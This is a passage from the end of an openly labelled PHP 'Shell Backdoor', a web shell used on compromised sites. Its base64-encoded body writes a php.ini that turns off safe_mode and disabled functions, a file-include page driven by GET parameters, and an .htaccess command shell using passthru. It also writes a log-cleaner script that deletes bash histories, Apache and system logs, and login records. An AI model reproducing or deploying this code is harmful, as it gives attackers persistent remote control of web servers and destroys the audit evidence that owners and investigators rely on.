X0dFVFsic3MiXTsgXG4gPz4nOwogICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygicGhwLmluaSIsJGJ5cGhwKTsKICAgICAgICAgICAgZmlsZV9wdXRfY29udGVudHMoIi5odGFjY2VzcyIsJGJ5aHQpOwogICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygiaW5pLnBocCIsJGluaXBocCk7CiAgICAgICAgICAgIGVjaG8gIjxzY3JpcHQ+YWxlcnQoJ0Rpc2FibGUgRnVuY3Rpb25zIGluIEFwYWNoZSBDcmVhdGVkJyk7IGhpZGVBbGwoKTs8L3NjcmlwdD4iOwpkaWUoKTsKICAgICAgICB9CiAgICAgICAgZWxzZWlmICggJHBpbGloID09ICdpbmlzJykgewogICAgICAgICRpbmlwaCA9ICc8P3BocCBcbiBlY2hvIGluaV9nZXQoInNhZmVfbW9kZSIpOyBcbiBlY2hvIGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOyBcbiBpbmNsdWRlKCRfR0VUWyJmaWxlIl0pOyBcbiBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7IFxuIGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsgXG4gZWNobyBpbmlfZ2V0KCJzYWZlX21vZGUiKTsgXG4gZWNobyBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsgXG4gaW5jbHVkZSgkX0dFVFsic3MiXTsgXG4gPz4nOwogICAgICAgICAgICAgJGJ5cGggPSAic2FmZV9tb2RlID0gT2ZmIFxuIGRpc2FibGVfZnVuY3Rpb25zPSAiOwogICAgICAgICRjb21wPSJQRVpwYkdWeklDb3VjR2h3UGcwS1JtOXlZMlZVZVhCbElHRndjR3hwWTJGMGFXOXVMM2d0YUhSMGNHUXRjR2h3TkEwS1BDOUdhV3hsY3o0PSI7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoInBocC5pbmkiLGJhc2U2NF9kZWNvZGUoJGJ5cGgpKTsKICAgICAgICBmaWxlX3B1dF9jb250ZW50cygiaW5pLnBocCIsYmFzZTY0X2RlY29kZSgkaW5pcGgpKTsKICAgICAgICBmaWxlX3B1dF9jb250ZW50cygiLmh0YWNjZXNzIixiYXNlNjRfZGVjb2RlKCRjb21wKSk7CiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgnRGlzYWJsZSBGdW5jdGlvbnMgaW4gTGl0ZXNwZWVkIENyZWF0ZWQnKTsgaGlkZUFsbCgpOzwvc2NyaXB0PiI7CmRpZSgpOwogICAgICAgIH0KICAgICAgICAKICAgICAgICBlbHNlaWYgKCAkcGlsaWggPT0gJ3NsYycpIHsKICAgICAgICAkc2xjID0iSXlFdlltbHVMM05vRFFvaklGSmxZMjlrWldRZ1Fua2dMaTlRYjNKME1qSWdLRTFUZFhCcFlXNHBEUW9qSUVkeU16TjBlaUE2SUVGc2JDQk5aVzFpWlhKeklFOW1JRk5sWTNWeWFYUjVJRVY0Y0d4dlpHVmtEUW9qSUdOb2JXOWtJREEzTlRVZ2MyVnlkbVZ5VEVNdWMyZ2dQajRnTGk5elpYSjJaWEpNUXk1emFBMEtEUXBsWTJodklDSmJLbDBnUjI5cGJtY2dWRzhnUkdWc1pYUmxJRXh2WnlCVFpYSjJaWEp6SUM0dUxpQWlEUXBtYVc1a0lDOGdMVzVoYldVZ0tpNWlZWE5vWDJocGMzUnZjbmtnTFdWNFpXTWdjbTBnTFhKbUlIdDlJRnc3RFFwbWFXNWtJQzhnTFc1aGJXVWdLaTVpWVhOb1gyeHZaMjkxZENBdFpYaGxZeUJ5YlNBdGNtWWdlMzBnWERzTkNtWnBibVFnTHlBdGJtRnRaU0FpYkc5bktpSWdMV1Y0WldNZ2NtMGdMWEptSUh0OUlGdzdEUXBtYVc1a0lDOGdMVzVoYldVZ0tpNXNiMmNnTFdWNFpXTWdjbTBnTFhKbUlIdDlJRnc3RFFweWJTQXRjbVlnTDNSdGNDOXNiMmR6RFFweWJTQXRjbVlnSkVoSlUxUkdTVXhGRFFweWJTQXRjbVlnTDNKdmIzUXZMbXR6YUY5b2FYTjBiM0o1RFFweWJTQXRjbVlnTDNKdmIzUXZMbUpoYzJoZmFHbHpkRzl5ZVEwS2NtMGdMWEptSUM5eWIyOTBMeTVyYzJoZmFHbHpkRzl5ZVEwS2NtMGdMWEptSUM5eWIyOTBMeTVpWVhOb1gyeHZaMjkxZEEwS2NtMGdMWEptSUM5MWMzSXZiRzlqWVd3dllYQmhZMmhsTDJ4dlozTU5Dbkp0SUMxeVppQXZkWE55TDJ4dlkyRnNMMkZ3WVdOb1pTOXNiMmNOQ25KdElDMXlaaUF2ZG1GeUwyRndZV05vWlM5c2IyZHpEUXB5YlNBdGNtWWdMM1poY2k5aGNHRmphR1V2Ykc5bkRRcHliU0F0Y21ZZ0wzWmhjaTl5ZFc0dmRYUnRjQTBLY20wZ0xYSm1JQzkyWVhJdmJHOW5jdzBLY20wZ0xYSm1JQzkyWVhJdmJHOW5EUXB5YlNBdGNtWWdMM1poY2k5aFpHME5Dbkp0SUMxeVppQXZaWFJqTDNkMGJYQU5Dbkp0SUMxeVppQXZaWFJqTDNWMGJYQU5DZzBLWldOb2J5QWlXeXBkSUVSdmJtVWdMaUJIYjI5a0lFeDFZMnNnT3lraSI7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoInNlcnZlckxDLnNoIixiYXNlNjRfZGVjb2RlKCRzbGMpKTsKICAgICAgICBlY2hvICI8c2NyaXB0PmFsZXJ0KCdTZXJ2ZXIgTG9nIENsZWFuZXIgWyBzZXJ2ZXJMQy5zaCBdIENyZWF0ZWQnKTsgaGlkZUFsbCgpOzwvc2NyaXB0PiI7CiAgICAgICAgZGllKCk7CiAgICAgICAgfQogICAgICAgIGVsc2VpZiAoICRwaWxpaCA9PSAnaHRhc2VsbCcpIHsKICAgICAgICAkaHQgPSAnUEVacGJHVnpJSDRnSWw1Y0xtaDBJajROQ2s5eVpHVnlJR0ZzYkc5M0xHUmxibmtOQ2tGc2JHOTNJR1p5YjIwZ1lXeHNEUW84TDJacGJHVnpQZzBLUVdSa1ZIbHdaU0JoY0hCc2FXTmhkR2x2Ymk5NExXaDBkSEJrTFhCb2NDQXVhSFJoWTJObGMzTU5DaU1nUEQ5d2FIQWdjR0Z6YzNSb2NuVW9KRjlIUlZSYkoyTnRaQ2RkS1RzL1BnMEsnOwogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCIuaHRhY2Nlc3MiLGJhc2U2NF9kZWNvZGUoJGh0KSk7CiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgnaHRhY2Nlc3MgU2hlbGwgWyAuaHRhY2Nlc3MgXSBDcmVhdGVkIDogb3BlbiBpbiBzaXRlLy5odGFjY2Vzcz9jbWQ9ICcpOyBoaWRlQWxsKCk7PC9zY3JpcHQ+IjsKICAgICAgICBkaWUoKTsKICAgICAgICB9CiAgICAgICAgCiAgICB9CiAgICA="));
?><br><br> <div class="footer"><b style="color:$color;font-family:monotype corsiva;font-size:22;"><?=$title; ?> <?=$versi ?> Shell Backdoor</b></div>
<div class="jaya">  &copy; <?=date('Y',time()); ?> <a href=""><?=$xName ?></a></div></div>
</body>
</html>